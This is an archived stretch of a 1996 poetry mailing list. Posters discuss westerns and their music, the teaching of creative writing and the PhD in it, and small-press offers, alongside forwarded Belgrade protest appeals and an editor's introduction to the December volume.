but anyway, you get my point---i think that intervening in the (institutional & personal) gap that tends to separate these two histories may be a way to begin rethinking creative writing...

best,

joe

↑ Index

600. **Pritchett,Pat**
Re: M/M & westerns, deah
Sat 30 Nov 1996

My dear Kevin,

I don't mind in the least being "tragically wrong" - one gets used to it after a while, you know. I don't mind GRH so much as I dislike "Butch Cassidy." Haven't seen "Millie" though. Is that with Julie Andrews & Rock Hudson? I may have seen part of it - can't recall.

Great point about captivity narratives in "Professionals" & "Once Upon A Time." Which is also the theme of "The Searchers."

Patrick

From: dbkk
To: POETICS
Subject: Re: M/M & westerns, deah
Date: Saturday, November 30, 1996 11:21AM

At 10:36 AM 11/30/96, Pritchett,Pat @Silverplume wrote:
>As for Wyatt Earp, I'd take "Tombstone" over the Costner pic any day.
>[...] though the film is fairly authentic
>in all the details in the end it seemed nothing but details - I found it
>unbearably tedious. [....] George Roy Hill got all the credit for the
>famous cliff jumping scene [in "Butch Cassidy"] that was taken shot for
>shot from Henry
>Hathaway's much better 1939 "Jesse James" with Hank Fonda & Tyrone

Power.
>[...] Hill
>hardly strikes me as the postmodernist type (though his "Slaughterhouse 5"
>is quite good).

Pat, this is Kevin Killian. You are right about "Wyatt Earp" with Kevin Costner but about George Roy Hill you are tragically wrong!

He after all is the man who made "Thoroughly Modern Millie," not a western, but an *unmutilated masterpiece* on the order of Welles' "Citizen Kane," however, many do not care for it at all, or so I've found. But what it does not say about gender relations, modernism and post modernism no one in the last 30 years has said either. Robert van Hallberg, you should be planning a special issue (double issue) of "M/M" around this film's upcoming 30th anniversary.

As for "The Professionals" and "Once upon a Time in the West," hello-o! Why has no one mentioned that the latter is a kind of sequel to or loose remake of the former, each based upon the *captivity narrative* of Claudia Cardinale, the creative genius behind both?

"Once upon a Time in the West" also benefits from that wonderful music with those same 3 themes (by Morricone?) played over and over again in different combinations. I don't know what they're called, but I always think of them as, "Claudia--Unhappy," "Claudia--Hope of Freedom," and "Claudia--Resolute" and I'm sure others do too. Finally, must acknowledge the ingenious back-story plot of "Once upon a Time in the West" written by Dario Argento and Bernardo Bertolucci, tho' the flashback lynching sequence late in the film, which explains all the actions of the little boy who improbably grows up to be Charles Bronson, must have been invented by Argento alone. Thanks!

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601. **Aldon L. Nielsen**
Re: taste, judgment, etc...
Sat 30 Nov 1996

Maria -- As a half-Dane I never made it more than half-way to Solvang (this keyboard doesn't have the diacritical mark that should appear over that name!) -- but my parents visited there when they visited me in L.A. and had a grand time -- A more enjoyable experience at the PAMLA conference came when a woman approached me after reading my name badge and asked, "Danish?" The only other person to immediately ID the name's origins had been Elizabeth Bishop some twenty years back -- This woman turned out to be the only professor of Danish at the conference --

As to the _Diacritics_ issue and the editing thereof -- I won't say a great deal, as I'm grateful to be the issue -- but you'll appreciate this part of the story -- I received a long-distance phone call from the editor of the special issue, who explained that he was putting together this special issue as a follow-up to a conference he had helped organize -- and he hoped I might have an essay already written of the sort he needed to round out the issue -- Mind you, I had not been invited to, or even informed of, the conference -- but he sure wanted an essay

(grateful to be _in_ the issue -- I'm not, despite my evident ego in such postings as this, the issue)

I've been to Minneapolis and don't share your mother's reaction -- I find the appearance of white folk infinitely interesting -- Maybe it's the way they look at me?

↑ Index

602. **dbkk**

Re: M/M & westerns, deah

Sat 30 Nov 1996

At 10:36 AM 11/30/96, Pritchett,Pat @Silverplume wrote:
>As for Wyatt Earp, I'd take "Tombstone" over the Costner pic any day.
>[...] though the film is fairly authentic
>in all the details in the end it seemed nothing but details - I found it
>unbearably tedious. [....] George Roy Hill got all the credit for the
>famous cliff jumping scene [in "Butch Cassidy"] that was taken shot for
>shot from Henry
>Hathaway's much better 1939 "Jesse James" with Hank Fonda & Tyrone Power.
>[...] Hill
>hardly strikes me as the postmodernist type (though his "Slaughterhouse 5"
>is quite good).

Pat, this is Kevin Killian. You are right about "Wyatt Earp" with Kevin Costner but about George Roy Hill you are tragically wrong!

He after all is the man who made "Thoroughly Modern Millie," not a western, but an *unmutilated masterpiece* on the order of Welles' "Citizen Kane," however, many do not care for it at all, or so I've found. But what it does not say about gender relations, modernism and post modernism no one in the last 30 years has said either. Robert van Hallberg, you should be planning a special issue (double issue) of "M/M" around this film's upcoming 30th anniversary.

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"Once upon a Time in the West" also benefits from that wonderful music with those same 3 themes (by Morricone?) played over and over again in different combinations. I don't know what they're called, but I always think of them as, "Claudia--Unhappy," "Claudia--Hope of Freedom," and "Claudia--Resolute" and I'm sure others do too. Finally, must acknowledge the ingenious back-story plot of "Once upon a Time in the West" written by Dario Argento and Bernardo Bertolucci, tho' the flashback lynching sequence late in the film, which explains all the actions of the little boy who improbably grows up to be Charles Bronson, must have been invented by Argento alone. Thanks!

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603. **Aldon L. Nielsen**
Re: Morricone Themes
Sat 30 Nov 1996

Listen to Zorn's _The Big Gundown_ while reading these hitching posts --

↑ Index

604. **amato**
Re: M/M & westerns, deah
Sat 30 Nov 1996

---

patrick, loved *vera cruz* ever since i was a kid!... always identified with burt's grinning opportunism...

we can disagree about *butch cassidy & the sundance kid*, that's ok!... but consider that horseback scene that lasts nearly 25 minutes---with butch & sundance being chased by the hired guns... very few scenes like it in western cinema that maintain that intensity, and it really conveys a sense of terrain (speaking of which, excellent cinematography)... i mself do enjoy the mock-heroic aspects of the flick (again, the humor), and the way it anachronistically calls attention to its cinematic devices... love the use of pop music too---only a few aspects of that film seem dated to me in a bad way, and these have to do with what was hip in 69, so i'll cut my nostalgia some slack!... but i mean, that entire sequence with strother martin is so memorable, no?...

as to comparing with peckinpah's *wild bunch* (precursor to cormak mccarthy's _blood meridian_), i dunno---peckinpah's flick is astounding in so many ways, but there are moments too where peckinpah seems to indulge himself in

the seriousness of his incredibly macho vision, which in so many ways butch & sundance undercuts... i saw an interview on tv with ernest borgnine a while back, who explained that at the point in the flick where he confesses that he wouldn't ride with anybody other than holden (or some such), he settled back and waited for the cut, and it took a while before he heard a faint "cut" uttered from peckinpah, who was sobbing at the male bonding of it all... seems to me that summarizes the problem with peckinpah's passion rather neatly... but the film, esp. having seen it recently restored on the big screen, is nonetheless amazing, yes, incl. the performances...

i like kevin's reading of claudia---i was feeling remiss mself for not mentioning her!...

yeah---costner's earp is pretty boring... i own a copy of *tombstone*, i liked it that much... but although i find costner at times the "bland megalomaniac" (i think it was) pauline kael called him (with re to *dances with wolves*) i was still impressed by his attention to detail...

and hey, i've always preferred *eldorado* to its predecessor *rio bravo*---i think mitchum's performance in the former is a real hoot, and again---much more lighthearted than dino's more sobering drinking problem...

best,

joe

↑ Index

605. **amato**
Re: M/M & westerns, deah
Sat 30 Nov 1996

---

and while we're at it, what about some of the more blatantly comic westerns, such as the james garner pieces, *support your local sheriff!*, *support your local gunfighter*, (w/elam's final crack) and *skin game* (which was serious too)... or---dare i mention them?---the sinatra westerns, *4 for texas* and *dirty dingus magee*... seems like tv western and cinema come together here...

joe

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606. **dbkk**
Burt Bacharach's Western music
Sat 30 Nov 1996

People in San Francisco who still watch "Butch Cassidy" and "The Man who Shot Liberty Valance" do so to enjoy the marvelous themes by Burt Bacharach

for each picture. On the face of it, who would have thought to hire BB to write theme songs for any Western? And yet that is the genius of the Hollywood system. When I was a little boy my class was actually watching "Liberty Valance" when the lights came on and this teacher came in and said President Kennedy had been shot. So ever since then I have never been able to hear that menacing, high-hat staccato phrase, "who shot" (if any of you recall this tune you will be nodding in agreement) without confusing myself that this was a film about Lee Harvey Oswald. Some of my friends have argued that the films "Casino Royale," "A House is Not a Home," "Lost Horizon," and even "The April Fools" contain more quintessential Bacharach music, but I always hold out for the Westerns. -- Kevin K.

↑ Index

607. **dbkk**
George Oppen
Sat 30 Nov 1996

But enough about Westerns (from me.... Kevin Killian). Here in San Francisco we are looking forward to the arrival of Peter and Meredith Quartermain later this week. Meredith Quartermain will be reading her poetry, with David Bromige, at Canessa Park on Sunday December 8, at 3:00 p.m. Peter Q. will give the 11th annual "George Oppen Lecture on the 20th Century Poetics" at the First Unitarian Church on Thursday, December 5, at 7:30 p.m. This is a project of the Poetry Center of San Francisco State University. These lectures do not have to be specifically on Oppen's work, tho' many have in the past, and to celebrate this occasion, Dodie Bellamy and I have made a special issue of our monthly magazine, "Mirage #4/Period[ical]" which features four (4) unpublished letters by Oppen, as well as new work by Craig Brock (a San Francisco poet who's kind of the Stevie Smith of AIDS issues), Lawrence Braithwaite (also from B.C., Braithwaite is the young, Black, gay, terrifically talented novelist who wrote last year's incredible novel "Wigger") and by Barbara Guest, the poet and actress. Her piece is called "Hieroglyph Acres." So come one and all to these events, say you saw this post and get a free copy of "Mirage #4/Period[ical]" #63 (December, 1996).

More later.

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608. **Christina Fairbank Chirot**
Re: M/M & westerns, deah
Sat 30 Nov 1996

Samuel Fuller: I Shot Jesse James (an entire film of claustrophobic closeups), Forty Guns (frequently quoted by M. Godard).

Speaking of John Wayne--remember the scene in The Sons of Katie Elder in which Dennis Hopper dies in his arms?

Dennis is one of the great Western directors/actors if you think of his "western state of mind" use of characters in relation to landscapes: Easy Rider, Out of the
Blue, The Last Movie. As actor--Giant, Katie Elder, The American Friend.

The latest "spaghetti Western": Tampopo

From the Sixties: the Ringo series.

El Topo. The films of Glauber Rocha.

Susan Smith Nash has a great essay on The Misfits--psychology and landscape--in My Love is Apocalypse and Rhinestones.

The soundtrack to Pat Garrett and Billy the Kid. (esp. Cantina Theme.) The Left Handed Gun.

The ongoing seires of Spaghetti Western soundtracks from RCA Japan. What ever happened to Sky King? Palladin?

James Cruze's Sutter's Gold from Cendrars . . .(Cruze made great silent westerns . . .)

A modern Western: Free Leonard Pelltier!
--dbchirot

↑ Index

609. **maria damon**
Re: George Oppen
Sat 30 Nov 1996

---

hiya kev --i'm sure this has come up before, but who published that lawrence braithwaite novel wigger.--maria d

↑ Index

610. **Thomas Bell**
Re: teaching good/bad writing: good/bad?
Sat 30 Nov 1996

I don't think my experience is as unique as you think. I was exposed to creative writing some time ago. The idea that there was a write way to right was one of

my reasons for leaving academia. It has only been recently that I have begun writing again. The idea of courses raises for me the spectres of "good"/"bad" and a single correct upper middle class media culture. <><>shiver><>< tom bell

At 10:21 AM 11/30/96 -0600, [redacted] wrote:
>thomas, the teaching of creative writing in the (u.s.) university goes back
>decades, as i'm sure you know... i mean, creative writing has an
>institutional history, like technical writing, say... and sometimes it's
>surprising to see how such fields were initially envisioned...
>
>since i teach, i'm prone to making statements re creative writing from this
>orientation, esp. b/c i know of *no* writers who aren't initially exposed
>to 'creative writing' through the educational system (whether in grade
>school, in the form of ostensibly innocent notions of poetry, or
>college-level writing courses)... so i'm always hankering to find a better
>way to teach creative writing, to counter the more insidious uses of this
>curricular slot (so to speak) to generate its own internally
>pseudo-consistent industry... seems to me much can be done under the
>auspices of "creative writing" that generally isn't done...
>
>

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611. **Kali Tal**
Re: M/M & westerns, deah
Sat 30 Nov 1996

> *and while we're at it, what about some of the more blatantly comic westerns, such as the james garner pieces, *support your local sheriff!*, *support your local gunfighter*, (w/elam's final crack) and *skin game* (which was serious too)... or---dare i mention them?---the sinatra westerns, *4 for texas* and *dirty dingus magee*... seems like tv western and cinema come together here...*

skin game was indeed both comic and serious, a "civil rights" western, just like the awful _buffalo soldiers_ (originally titled _soul soldiers_) which starred raeffer johnson, the great decathalon man. there was a genre of black westerns which ranged from grade c flicks (like _joshua_, which starred fred williamson, of _hell up in harlem_ fame) to more serious studies like _buck and the preacher_ (sidney poitier and harry belafonte). woody strode was featured in many of these "civil rights" westerns (_the professionals_ can be counted among them, as well as being counted as a viet nam war film). it's an ongoing tradition--just take a look at the very interesting _posse_ (directed by mario van

peebles) which is framed by woody strode, who tells a tale that features both contemporary rappers (big daddy kane), and blaxploitation stars (isaac hayes, pam grier). poetry, indeed.

kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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612. **Tosh**
Re: Burt Bacharach's Western music
Sat 30 Nov 1996

Gene Pitney is god!

↑ Index

613. **amato**
Re: M/M & westerns, deah
Sat 30 Nov 1996

---

kali, yeah, i thought van peebles' *posse* was interesting in this regard too... not to be, CAN'T be confused with kirk douglas in the earlier (1975) *posse*...

hey, didn't van peebles do that newer soi-disant women's western starring drew barrymore/andie macdowell/madeleine stowe/mary stuart masterson?... can't say much for this latter...

to add to the list david composed, i'd throw in kirk's *lonely are the brave* (one of my favorite contemp. westerns, better than, say, redford in *the electric horseman*)... and *there was a crooked man* (with fonda)... and kirk's self-spoof in *the villain* (don't stay up for this one)... and a personal favorite, *hombre* with newman... and if we're talking humor, how could i NOT mention lee marvin in *cat ballou*?!...

as to hopper, yeah, he was in SO many westerns, it really is a 'theme' of his...

and then there's *the wild wild west* to consider (at least, this was my favorite tv show as a fifteen-year old james bond addict)... and the new made-fer-tv 'realist' westerns, like *conagher* (w/sam elliot and katherine ross)...

what a 'genre'!...

joe

↑ Index

614. **Kenneth Goldsmith**

A Special Book Offer from The Figures

Sat 30 Nov 1996

Hi Folks,

Geoffrey Young of The Figures has asked me to pass this special book offer along. However, he has no E-Mail yet, so S-Mail or call him.

****

The Figures
5 Castle Hill Ave.
Great Barrington, MA 01230
[redacted]

****

The Figures proudly announces the publication of three new limited edition books, for a one-time only three-fer deal. Rather than pay $28, this offer urges you to snatch them up while you still can, for twenty bucks, which includes postage.

(Single copies available at list price, postage as per above.)

Tilt, 75 prose poems by Gillian McCain, with cover painting by Trevor Winkfield, 96 pages, 5 1/2 x 8" $10.00 (One of ten copies signed & numbered is $20)

Gillian McCain is the former Program Coordinator of The Poetry Project at St. Mark's in Manhattan. As Harry Mathews says about the author of Tilt, she "takes us on high-velocity spins to the four corners of what we thought was a familiar world." Her lines are smart bombs that go off: "My lap crawled in places I didn't even know existed. Aruba, for instance." What is revealed in these poems, each titled with a single word, is a verbally incisive, resigned yet defiant, ambitious yet humorous portrait of the contemporary woman. McCain's works are, in the words of John Ashbery, "like urgent telegrams from next door, or oddly but brilliantly cropped snapshots of the life that is going by." Besides Tilt, Gillian McCain is the co-author (with Legs McNeil) of the recently published Please Kill Me: The Uncensored Oral History of Punk, Grove Press.

Arts & Letters, 16 prose poems by Michael Friedman, with 16 drawings by Duncan Hannah, 40 pages, 6 x 7 1/2" $10.00 (signed edition is $20)

Arts & Letters is a true collaboration; its poems and drawings derive from and support each other. If Michael Friedman's theme is "flux in a wild finesse," as David Shapiro as written, "his generally immaculate snaps and subtle caresses are formal, private, and discrete," (in the words of Stephen Rodefer). In Duncan Hannah, who shows his work at Tibor de Nagy Gallery in NYC, he has perhaps the ideal artist to work with, since Hannah's abiding subject is affinity. "He understands how great a distance separates him from the past he has chosen as his age of mythic origins. This understanding generates the melancholy of his art." Carter Ratcliff

---

Pockets of Wheat, Geoffrey Young, illustrations by James Sienna 4 1/4 x 6 1/2" $8.00 (signed edition is $16)

How many words, or lines, or ideas does a poem require? How much music? The author of Subject to Fits and Rocks and Deals, Geoffrey Young keeps his answers to a not inarticulate minimum. A part-time gallerist, teacher and art-consultant, as editor of The Figures, Young has published more than eighty books of poetry, fiction, and art criticism, since 1975. Thirty-nine year old James Siena is a New York artist whose most recent work is presently on view at Pierogi 2000 in Brooklyn. In the spring of 1997 he will exhibit new work at Cristinrose Gallery, in Soho.

****

END OF SPECIAL OFFER

****

COMING SOON FROM THE FIGURES

No. 111 2.7.93-10.20.96, Kenneth Goldsmith, 620 pages, 5 1/2 x 8 1/4" $17.50 (February 1997 release)

The Borscht belt meets concept art in this delirious digest of obsessive gaiety, this useless collection of perishable information, this wily catalog of everyday life, this alphabetic bestiary of the ribs, joints, sinews., and bones of language's alluring lore. Kenneth Goldsmith has written what could be the longest, and maybe the last, list poem of the 20th Century. On the way, he has reinvented prosody-counting by 1, 2s, 3s, and up-as he inventories the roaring rush of rippling, or is it ripping?, words: inchoate yet coalescing, a fractal romp on just this side of virtual reality. -Charles Bernstein

---

New & Recent Work from THE FIGURES

"Arts & Letters" poems Michael Friedman drawings Duncan Hannah 40 pp $10 "Tilt" prose poems Gillian McCain cover Trevor Winkfield 96 pp $10 "Pockets of Wheat" poems Geoffrey Young drawings James Siena 48 pp $8 "No. 111 2.7.93-10.20.96" Kenneth Goldsmith, 620 pages pp. $17.50 "False Memory" poems Tony Lopez cover Charles LeDray 40 pp $6

"Swoon Rocket" poems Bill Luoma cover Hubble Space 28 pp $6 "Present Tense" poem Stephen Ratcliffe cover Suzanne McClelland 104 pp $12 "For Kurt Cobain" poem Clark Coolidge cover Celia Coolidge 10 pp $5

"Interferon" poems Michael Gizzi cover Win Knowlton 24 pp $5 "Alone With The Moon" poems Musa McKim drawings Philip Guston 140 pp $12 "The Champ poem Kenward Elmslie" drawings Joe Brainard 80 pp $12 "Columns and Catalogues" essays Peter Schjeldahl 240 pp $15

The Figures 5 Castle Hill Ave. Great Barrington, MA 01230 [redacted]

(Sorry folks, no Email yet...)

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615. **DS**
Re: George Oppen
Sat 30 Nov 1996

---

don't backchannel this info - i would like to know too please,

dan

At 12:34 PM 11/30/96 -0600, you wrote:
>hiya kev --i'm sure this has come up before, but who published that lawrence
>braithwaite novel wigger.--maria d
>
>

↑ Index

616. **Aldon L. Nielsen**
Re: Burt Bacharach's Western music
Sat 30 Nov 1996

Kevin -- For years I thought that Gene Pitney and Lee Harvey Oswald were the same person --

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617. **Gabrielle Welford**

Radio B92 Apel (fwd)

Sat 30 Nov 1996

---------- Forwarded message ----------
Date: Wed, 27 Nov 1996 17:20:53 -0800
From: Serbian Information Initiative <[redacted]>

> *From: Veran Matic <[redacted]>*
> *Subject: Radio B-92 Apel*
>
> *Radio B92 from Belgrade - Press Release*
>
> *Radio B92 and its programme were cut off the air for four times today (Nov 27) during its regular reporting on the anti-government demonstrations in Belgrade, which last for several days now.*
>
> *Demonstrations are being organised by the democratic opposition, dissatisfied with the results on local elections being cancelled by the regime. The regime is trying to prevent its electoral defeat in major cities of Serbia - which is the first factual defeat of the Slobodan Milosevic's regime since 1987.*
>
> *There is more than 100,000 demonstrators marching down the downtown streets of Belgrade every day. The Belgrade University with its 50,000 students is on strike, demanding the acknowledgement of the results achieved by the opposition.*
>
> *Radio B92 is a single independent electronic medium in Belgrade which is continually reporting on actual events, and it operates for 7 years now without an official licence. Due to its anti-war engagement and a variety of highly successful projects in the domain of culture and communications, B92 was presented the CPJ 1993. award.*
>
> *The transmitter which Radio B92 uses to broadcast its programme is situated among the transmitters owned by the state and is therefore inaccessible to our technicians who might otherwise check whether a misoperation was at stake or an intended interruption. Our experts claim that an intended interruption IS in question. These incidents were reported to Aleksandar Tijanic, Serbian Minister of Information who claims not to have any kind of connection with these latest developments.*
>
> *It is obvious that this is a direct threat and an introduction to a final ban of the B92. This Radio has so far been the best, most reliable and professional source of information for both the citizens of Belgrade and foreign correspondents based in FR Yugoslavia. Should it be banned,*

> *this would mean a huge blow for democratic processes in Serbia and an obvious undermining of all the principles that the Dayton Agreement stands for.*
>
> *Radio B92 is in danger!*
> *Warn the public on these facts and launch a protest with the Serbian regime aimed to protecting the single left independent voice in Belgrade.*
>
> *In this very moment only a minor part of Belgrade can tune to Radio B92.*
>
> *Veran Matic*
> *Editor in-Chief*
>
> --
> *Veran Matic, Editor in Chief* *tel:* [redacted]
> *Radio B92, Belgrade, Yugoslavia* *fax:* [redacted]
>
> *Radio B92 Official Web Site --- http://www.opennet.org/*

PS. Radio B92 mirrors are at:

http://www.siicom.com/odrazb/ and
http://www.siicom.com/b92/

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

December 1996

657 messages · Sat 30 Nov 1996 – Tue 31 Dec 1996

The world into which these letters were written was itself in a season of transitions. A newly re-elected American president was assembling his second cabinet, naming Madeleine Albright to the State Department; at the United Nations, Kofi Annan was being raised to Secretary-General; and the year drew toward its close having taken both Carl Sagan and Marcello Mastroianni. Into all of it the poets of Buffalo went on writing to one another, nightly and at length.

The month's presiding quarrel, which runs to some eighty messages beneath a drift of mutating subject-lines, concerns taste. Michael Boughn calls it, wearily and near its close, *"that totally frustrating taste thread,"* and one sympathizes; yet the frustration was rather the point. Wystan — Curnow, one presumes — supplies the winter's most durable epigram: *"taste judgements are about not explaining yourself."* Around this the list divides into parties: those who would rescue the word by translating it, Boughn reaching for Castaneda's heart and for Freud's cathexis, and those who catch in it only the old class perfume.

For relief the poets went to the pictures, and to the American West. What began as an aside upon Burt Bacharach hardened into a small canon of the unorthodox western — Nicholas Ray's Johnny Guitar, of which Tom Mandel reports simply *"yes it's amazing,"* then Fritz Lang's Rancho Notorious, and at length Jarmusch's Dead Man. That a distaste for John Wayne might be, like bad writing, a position one could defend was lost on no one.

Beneath the play ran graver questions. A newcomer signing only *"ms,"* who had lurked a week before speaking, asked the room to name whoever first held that there could be *"no writing in the aftermath of the Holocaust"* — and Adorno's shade duly crossed the threshold. Elsewhere the practical anxieties of the guild: Burt Kimmelman confessing that of the creative-writing doctorate *"there is something scammish about it,"* and Linda Russo answering, disarmingly, that one pursues the thing for *"library access, email, an income."*

Judy Roitman, turning over Cid Corman's selection of Lorine Niedecker, copied out a jacket blurb that praised its poet as *"easily the finest female American poet"* and let the qualifier detonate unassisted; the thread grimly titled *"patr-iarchy/onization"* was the crater. It is, to my eye, the month's most necessary argument, and the least resolved.

And all the while, beyond the poets' window, a winter of consequence: among the very first of these messages is not poetry at all but a forwarded appeal from the students of Belgrade, then filling the squares against Milošević in the cold — history leaking, as it will, into the inbox. I have arranged what follows so that each voice stands forward under its own name, its telephone and its address returned to privacy, its machinery swept aside. The reader who wishes to enter at any point will find the contents entirely obedient to the touch. I ask only that you remember, as I do nightly, that these were letters before ever they were literature.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 657 in all.

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1. Gabrielle Welford

Forwarded mail....

Sat 30 Nov 1996

---------- Forwarded message ----------
Date: Sat, 30 Nov 1996 04:30:47 -1000
From: Petar Ramadanovic <[redacted]>

Studenski protest 96 (http://147.91.8.64/~protest96)
Date:
Tue, 26 Nov 1996 22:35:56 +0100 (MET)
From:
Student Protest 96 <[redacted]>
To:
nasa-borba

Dear Colleagues,
considering the information blockade in our country, we are trying
to inform universities all over the world via Internet. The situation in
Belgrade and Serbia is more and more dramatic. The protest of students

is on for three days allready, with full support of our professors. Beside
Belgrade University, all larger university centers in Serbia are also in protest.
We ask you to inform students of your universities as to what is happening here.
Every kind of support comming from you will be highly appriciated.

Declaration of Decency

We, the students of the Belgrade University, support the citizens
of Serbia, who demand the protection of their rights, guaranteed by the
Constitution. Brutal violation of law and annihilation of regular electoral
results are the unprecedented attack on the basic principles of democracy.

We are not taking sides between the party in power and the opposition - what
we insist upon is the rule of law. Any government unwilling to acknowledge the
electoral defeat is not worth of our support, and we are overtly opposing it.

Therefore, we demand:

Immediate establishment of State's Electoral Committee, which will be
formed on proportional principles by the parties that took part in a second
ballot. The purpose of this Committee will be to objectivelly establish the
outcome of the second ballot. We apeal on all participants of the current

political crisis to sustain from any and all violence. The students of the Belgrade University will endure in their protest.

University of Belgrade

↑ Index

2. **Tosh**
Re: Burt Bacharach's Western music
Sun 1 Dec 1996

> *Kevin -- For years I thought that Gene Pitney and Lee Harvey Oswald were the same person --*

That is such a perverse thought. Town without Pity indeed!

↑ Index

3. **Chris Stroffolino**
Re: Burt Bacharach's Western music
Sun 1 Dec 1996

---

speaking of burt bachrach--i heard dionne warwick's version
of wishin and hopin' the other day...i didn't realize she did it first====
maybe i'll just have to dig up the musical comedy i wrote
bachrach melodies and beowulf---
"we must find a way to beowulf" to tune of san jose...
I could build a big mead hall" to alfie...
oh what else (tis MADDEning, this memory thing)
"what;'s up grendel's mom, wo oo oo oo oo oo..."
"one less scylding living" (sung by grendel mccoo)
there was more--but this is enough i'm sure....cs

↑ Index

4. **amato**
Western music
Sun 1 Dec 1996

---

in addition to gene pitney, what about frankie laine?...

for that matter, i've always liked the way tex ritter's "do not forsake me" rumbles around in the background of *high noon*...

and then there's the 'sons of the pioneers' too (as in *the searchers*)...

what about the soundtrack to *urban cowboy*... which puts us smack dab in the middle of c & w, and with somebody like charlie daniels (whose more recent stuff is really problematic) we fall over into 'southern rock' and such...

anyway, that singin cowboy stuff goes back a looong way---and it's still a vital aspect of u.s. americana... i don't mean grand ole opry either---all's you have to do is attend a c & w performance at one of the major rodeos to see how passionate the following is (this is probably not news to anybody here)... and that brings us back to cowboy poetry...

almost typed 'cowbody' poetry---now THERE'S somethin new...

hey, anybody seen that off-broadway show *cowgirls*?... i'm wondering if it's pulling in the direction of *oklahoma* or *guys and dolls*?...

joe

↑ Index

5. Burt Kimmelman

Re: teaching good/bad writing: good/bad?

Sun 1 Dec 1996

---

on this topic. i'd be curious to know what people think of awarding a ph.d. in creative writing. to my mind, there is something scammish about it, but i 'm ready to be convinced otherwise.

burt kimmelman

↑ Index

6. amato

Re: teaching good/bad writing: good/bad?

Sun 1 Dec 1996

---

burt, why is a phud in creative writing (say, writing a novel for a diss) any more scam-ish than writing a critical-theoretical diss?... i say this as somebody who holds a doctor of arts (d.a.---not a ph.d, though an earned doctorate) and who has had to put up with a LOT of grief for not possessing those other three letters... the two singular characteristics of my degree program (and the history of the d.a. goes back to mit in the 60s) was that it (1) provided courses in pedagogical theory (which most phuds in english now do, to a greater or lesser extent) and (2) permitted a "creative" diss. (which many phuds in english did then, and do now)...

anyway... i feel a bit personally invested in this distinction (or lack thereof) twixt d.a. and ph.d, and for many it turns primarily on (2) above...

joe

↑ Index

7. Burt Kimmelman
Re: teaching good/bad writing: good/bad?
Sun 1 Dec 1996

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joe,

one of my colleagues has a d.a. in creative writing from syracuse; luckily, at my school (njit) no one has a problem with this. also, a friend of mine, and a fine poet (i'll not name him wihout permision), opted not to flesh out a wonderful doctoral thesis on critical theory and beckett and instead to submit a collection of poems for a ph.d. in creative writing. i think highly of both of these people. however, as you have suggested, they would do better with classical ph.d.--not to say that there may not be room for change in this regard. first of all, i would have loved (pace, those out there who might feel that there is already too much narrowly focused or perhaps frivolous literary scholarship, and thus it's good that university presses are now looking to operate in the black) to have read the finished theory-beckett product, and so would have others. second, and here's my original point, unlike the world of scholarship (though,again, this may change if something is not done about the university press situation), there is a "real" world beyond the academy for people to publish and perhaps thrive in; that is, a phud in journalism, say, or novel writing, is superfluous, since the ultimate test/recognition comes from the communications media and either small or large presses, respectively. There is something of the hothouse flower about a phud in creative writing, it seems to me. does a writing program, furthermore, which is looking for new faculty, take an applicant with a phud in creative writing more seriously than someone without one? Indeed, it seems to me that I would rather hire someone who has actually published books, or at least someone who has a portfolio of interesting work (to say nothing of teaching ability), than someone with the degree (let's throw in the mfa here too) as the sine qua non of certification. and isn't academe too institutionalized already, when it comes to liteary scholarship (where are the Alfred Kazins, Irving Howes and George Lyman Kittredges--all with only bachelor's degees--or yesteryear)? so why create some new overly wrought system, when systems can in fact have a stifling effect?

burt

↑ Index

8. C. Alexander
Re: PhD creative writing
Sun 1 Dec 1996

---

re: burt kimmelman: " to my mind, there is something scammish about it, = but i'm ready to be convinced otherwise."

to preface: i'm suspicious of the way "writing" becomes/became "creative = writing." I wrote as a kid, I write as an adult, I happen to be a = student of poetics in a ("diverse" to some minds, "bifurcated" to = others) phd-cw program. (SF State it ain't -- but if they had a phd, i'd = have applied there.)

I can't speak to a(re?)warding cw phd's, but I'll say a thing or 2 = about why i'm pursuing one -- not to be writing, not for "a community of = poets" -- but for (sheer pragmatics?) library access, email, an income, = and critical discourse. =20

sure, workshops ("required") have their limited usefulness -- a "slash = & burn" (i.e. workshop) mentality does tend to want to prevail, & and a = kind of ("industry") verse is, to a certain extent, practiced. But = even the most industrious students at Utah are fighting for workshop = pedagogy that involves recognition/discussion of poetic/aesthetic = "differences."

I think poets will get what they demand/come looking for. If, as Donald = Revell says, american poetry is written to figure out the problems of = american poetry, (un)fortunately workshops can only somewhat accomodate = that (i'm okay with that myself). As for the program -- there are = students & faculty who do & can speak to my not-so-mainstream concerns = as a (postmodern) (post-structuralist) poet. =20

As for "the spectres of "good"/"bad" and a single correct upper middle = class media culture. <><>shiver><><" (tom bell) -- of course the U. can = only do what it can do. Academia _is_ disturbingly platonic, but the U. = I know is riddled with heraclitians. Students & faculty (at Utah) who = shiver along with you, and then do something "academic" about it. It's = the need/demand thing again. =20

I don't know who's scamming who. (Maybe i'll have a sense of that after = i've earned my three letters.) I also know a phd-cw is no commodity. = Certain kinds of poetry are more of a commodified than others. When the = "avant garde" is mainstreamed (via academia?) what will the new avante = garde look like? how will poets go about solving the problems of = american poetry?=20

(I'm not sure but i think it's written somewhere in the bylaws that i'm = required to acknowledge the university (& state) of Utah for its = patronage.)

L.V. Russo/phd-cw - poetry/Univeristy of Utah, SLC

↑ Index

9. **amato**
Re: teaching good/bad writing: good/bad?
Sun 1 Dec 1996

burt, i guess i view the matter from the pov of one who has seen the d.a. go the way of the dodo bird, at suny/albany, and who has been forced to ponder long and hard over what exactly happened... albany in effect *had* to convert to the phud in order to maintain solvency... and the history and continuing turmoil resulting from that turn-of-events was and is a thing to behold... but here i would like to be certain to distinguish between the "realities" of the marketplace for d.a.'s or phud's in creative writing (what IS) and what we might be able to do under the rubric of same (what OUGHT to be)....

(in fact, albany *lost* it's phud in the late 70s, which left it with only the d.a. as a 'terminal' degree... long story, but as i say, to understand the d.a., you needs must look at how it came into being, was popularized at places like u of michigan, etc... and subsequently dropped by a number of campuses, though it still lives on at a number of campuses...)

i see the hothouse flower development you suggest in phud programs all over... that is, i see the development of a particular sort of academic professional as no less problematic than the development of a particular sort of creative writer... i'm not sure i see this as a creative writing problem, b/c in effect the proof for creative writers may not be in any 'real world' pudding, esp. given the small press publishing situation you refer to... i would submit that *any* phud program these days is jeopardized with the 'credentializing' stigma that currently associates with a terrrible marketplace (both wrt publishing and wrt jobs)...

